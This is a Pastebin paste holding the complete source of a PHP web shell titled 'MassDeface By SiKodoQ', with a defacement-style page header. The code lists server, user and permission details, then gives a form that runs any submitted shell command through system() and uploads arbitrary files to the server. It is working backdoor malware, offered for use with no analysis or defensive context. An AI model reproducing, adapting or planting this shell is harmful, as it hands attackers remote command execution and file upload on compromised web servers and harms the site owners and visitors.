Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <title>MassDeface By SiKodoQ</title>
- <BODY text=#00ff00 bgColor=#000000
- background="http://deface.persiangig.com/deface/1.gif">
- <center>
- <IMG
- src="http://a3.sphotos.ak.fbcdn.net/hphotos-ak-ash4/424946_239268132819665_100002094408095_550374_85613837_n.jpg" width="100" height="75"><br>
- <font face="Comic Sans MS" size="2"><b>Everybody know their limits, you just got more than others.<br>
- Search in everymind, looking for knowledge. Hacking is an art.</b></font> <br><br>
- <!-- <img src="http://img238.echo.cx/img238/6607/9027jn.gif"> -->
- <br>
- </center>
- <br><br><br>
- <p><font face="Verdana" size="1">
- <b>#</b> SiKodoQ PHP Injection<br>
- <b>#</b> Forum Hacker Indonesia<br>
- <b>#</b> Released by : <b>SiKodoQ</b></font>
- </font>
- </p>
- <hr><hr>
- <p> <font face="comic sans MS" style="font-size: 9pt"><b>
- <br>
- </b>
- </font><font face="comic sans MS">
- </p>
- <div align="left"><b><?php
- closelog( );
- $user = get_current_user( );
- $login = posix_getuid( );
- $euid = posix_geteuid( );
- $ver = phpversion( );
- $gid = posix_getgid( );
- if ($chdir == "") $chdir = getcwd( );
- if(!$whoami)$whoami=exec("whoami");
- ?>
- <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
- <?php
- $uname = posix_uname( );
- while (list($info, $value) = each ($uname)) {
- ?>
- <TR>
- <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b><span style="font-size: 9pt"><?= $info ?>
- <span style="font-size: 9pt">:</b> <?= $value ?></span></DIV></TD>
- </TR>
- <?php
- }
- ?>
- <TR>
- <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
- <span style="font-size: 9pt">User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?=
- $gid ?>(<?= $whoami?>)</span></DIV></TD>
- </TR>
- <TR>
- <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
- <span style="font-size: 9pt">Current Path:</b> <?= $chdir ?></span></DIV></TD>
- </TR>
- <TR>
- <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
- <span style="font-size: 9pt">Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?>
- </span></DIV></TD>
- </TR>
- <TR>
- <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
- <span style="font-size: 9pt">Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?>
- </span></DIV></TD>
- </TR>
- <TR>
- <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
- <span style="font-size: 9pt">Server Address:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?>
- </span></DIV></TD>
- </TR>
- <TR>
- <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
- <span style="font-size: 9pt">Script Current User:</b> <?= $user ?></span></DIV></TD>
- </TR>
- <TR>
- <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
- <span style="font-size: 9pt">PHP Version:</b> <?= $ver ?></span></DIV></TD>
- </TR>
- </TABLE>
- </b>
- </div></font></div>
- <?php
- set_magic_quotes_runtime(0);
- $currentWD = str_replace("\\\\","\\",$_POST['_cwd']);
- $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
- $UName = `uname -a`;
- $SCWD = `pwd`;
- $UserID = `id`;
- if( $currentWD == "" ) {
- $currentWD = $SCWD;
- }
- if( $_POST['_act'] == "List files!" ) {
- $currentCMD = "ls -la";
- }
- print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";
- print "<tr><td><b>Command:</b></td><td><TEXTAREA ROWS=8 COLS=75 name=\"_cmd\" value=\"".$currentCMD."\"></TEXTAREA></td>";
- print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";
- print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
- print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
- print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
- print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
- print "</table></form><hr><hr>";
- $currentCMD = str_replace("\\\"","\"",$currentCMD);
- $currentCMD = str_replace("\\\'","\'",$currentCMD);
- if( $_POST['_act'] == "Upload!" ) {
- if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
- print "<center><b>Error while uploading file!</b></center>";
- } else {
- print "<center><pre>";
- system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
- print "</pre><b>File uploaded successfully!</b></center>";
- }
- } else {
- print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
- $currentCMD = "cd ".$currentWD.";".$currentCMD;
- system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
- /tmp/cmdtemp");
- print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
- }
- exit;
- ?></body></font></font></b></font>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement